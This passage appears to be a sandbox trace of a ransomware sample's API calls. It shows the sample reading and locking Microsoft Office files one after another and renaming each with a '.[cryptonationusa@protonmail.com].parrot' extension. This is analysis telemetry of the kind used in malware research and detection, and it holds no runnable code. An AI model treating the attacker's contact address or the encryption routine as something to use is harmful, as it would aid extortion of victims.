nNumberOfBytesToLockHigh=0x0) returned 1 [0179.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.162] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.164] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61204, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x61204, lpOverlapped=0x0) returned 1 [0179.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.195] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6131c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.195] CloseHandle (hObject=0x288) returned 1 [0179.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0179.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.203] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38f, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.203] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.203] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.204] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.205] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x277, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x277, lpOverlapped=0x0) returned 1 [0179.205] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.205] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.205] CloseHandle (hObject=0x288) returned 1 [0179.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.211] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.211] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.211] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.212] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.212] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcf, lpOverlapped=0x0) returned 1 [0179.212] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.213] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.213] CloseHandle (hObject=0x288) returned 1 [0179.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.218] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.218] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.218] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.219] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.219] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0179.220] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.220] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.220] CloseHandle (hObject=0x288) returned 1 [0179.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.227] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.227] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.227] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.228] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.228] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0179.228] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.228] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.228] CloseHandle (hObject=0x288) returned 1 [0179.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.235] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e98, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.235] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.238] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d80, lpOverlapped=0x0) returned 1 [0179.239] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.241] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.241] CloseHandle (hObject=0x288) returned 1 [0179.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.246] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa688, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.247] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.247] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.248] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.248] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa570, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa570, lpOverlapped=0x0) returned 1 [0179.251] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.251] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa688, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.251] CloseHandle (hObject=0x288) returned 1 [0179.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.257] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.258] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.258] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.260] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.260] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.260] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.261] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.261] CloseHandle (hObject=0x288) returned 1 [0179.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.267] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9888, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.267] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.267] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.275] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.275] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9770, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9770, lpOverlapped=0x0) returned 1 [0179.276] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.277] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9888, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.277] CloseHandle (hObject=0x288) returned 1 [0179.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.283] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x75c, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.283] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.317] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.317] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x644, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x644, lpOverlapped=0x0) returned 1 [0179.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.318] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x75c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.318] CloseHandle (hObject=0x288) returned 1 [0179.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.331] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.331] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.333] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.333] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.333] CloseHandle (hObject=0x27c) returned 1 [0179.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.339] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe94, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.339] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.341] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7c, lpOverlapped=0x0) returned 1 [0179.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.342] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.342] CloseHandle (hObject=0x27c) returned 1 [0179.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.347] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.348] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.348] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.349] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.349] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.350] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.350] CloseHandle (hObject=0x27c) returned 1 [0179.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.357] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x69e32, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.357] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.357] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.358] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.359] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69d1a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69d1a, lpOverlapped=0x0) returned 1 [0179.371] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.390] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x69e32, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.390] CloseHandle (hObject=0x27c) returned 1 [0179.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.399] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.399] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.399] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.401] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, 